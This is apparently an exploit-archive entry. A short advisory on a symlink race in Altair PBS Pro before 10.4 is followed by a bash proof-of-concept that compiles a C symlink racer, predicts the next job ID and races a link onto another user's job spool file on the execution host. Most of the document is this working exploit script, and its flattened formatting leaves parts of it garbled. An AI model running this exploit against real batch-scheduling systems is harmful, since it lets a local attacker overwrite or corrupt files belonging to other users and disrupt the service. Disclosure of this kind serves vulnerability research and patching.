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source: https://www.securityfocus.com/bid/41449/info Altair Engineering PBS Pro creates temporary files in an insecure manner. An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application. Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible. Versions prior to PBS Pro 10.4 are vulnerable. #!/bin/bash #set -x # PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - bartol@pwr.wroc.pl # Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID echo Compiling racer... cat << EOF| gcc -x c -o racer.x - //repeatedly tries to create arbitrary choosen link #include <unistd.h> int main(int argc, char* argv[]) { if (argc < 3){printf("%s","Need 2 arguments!");exit(1);} while (1) symlink(argv[1],argv[2]); }; EOF if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi echo Submitting job... jobname=<code>echo hostname | qsub -j oe -o out.txt sleep 2 host=<code>cat out.txt if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi rm out.txt echo Next job will be run on $host echo Copying racer to $host... scp ./racer.x $host:/tmp echo Calculating job id... jobid=<code>echo $jobname | cut -d . -f 1 jobid=$(($jobid+1)) if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi echo Next job ID will be $jobid hostname=<code>echo $jobname | cut -d . -f 2 echo Running racer...submit job as different user, than push Ctrl+C after while. ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \) ssh $host -- killall racer.x echo /var/spool/pbs/spool on $host content: ssh $host -- ls -latr /var/spool/pbs/spool echo Cleaning up... ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU ssh $host -- ls -latr /var/spool/pbs/spool ssh $host --rm -v /tmp/racer.x rm -v racer.x |
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